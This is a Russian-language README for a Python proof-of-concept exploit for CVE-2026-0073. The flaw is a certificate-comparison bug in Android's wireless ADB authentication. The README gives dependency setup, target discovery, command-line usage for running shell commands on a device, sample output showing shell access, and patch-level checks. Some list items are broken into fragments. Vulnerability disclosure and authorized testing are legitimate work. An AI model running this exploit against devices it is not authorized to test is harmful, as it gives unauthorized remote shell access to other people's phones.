
CVE-2026-0073 — PoC обхода взаимной аутентификации ADB по беспроводному соединению
Этот каталог содержит proof of concept на Python для CVE-2026-0073.
Скрипт создан с использованием методов генерации кода на основе ИИ.
CVE-2026-0073 — логическая ошибка в проверке сертификатов демона ADB (adbd_tls_verify_cert в auth.cpp).
Уязвимая проверка рассматривает любое ненулевое возвращаемое значение EVP_PKEY_cmp(...) как успешное совпадение.
Ожидаемая обработка результата сравнения должна быть следующей:
1 = ключи совпадают0 = ключи не совпадаютВ уязвимых сборках отрицательные значения рассматриваются как истинные и могут ошибочно пометить сертификат как авторизованный.
poc-cve-2026-0073.pyСкрипт:
ec или ed25519).shell: с запасным вариантом exec:).cryptographyУстановка зависимости:
pip install cryptography
Обнаружение целевого сервиса ADB (при необходимости):
adb mdns services
Запуск PoC:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
Аргументы:
target_ip: IP-адрес целевого Android-устройстваport: Порт ADB (по умолчанию: 5555)command: Команда для выполнения (по умолчанию: id)key_type: ec или ed25519 (по умолчанию: ec)--verbose: Включить журналы отладки протоколаПримеры:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
Таймаут ожидания ответов
--verbose для трассировки на уровне пакетов.Базовый уровень исправлений безопасности ОС и исправления модулей Mainline могут различаться. Устройство может показывать более старый ежемесячный SPL, получая при этом более новые исправления модуля ADB.
Полезные проверки:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Используйте этот PoC только в авторизованных средах (собственные лабораторные устройства, явное разрешение или санкционированное тестирование). Не запускайте его против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения.
daemon/auth.cpp)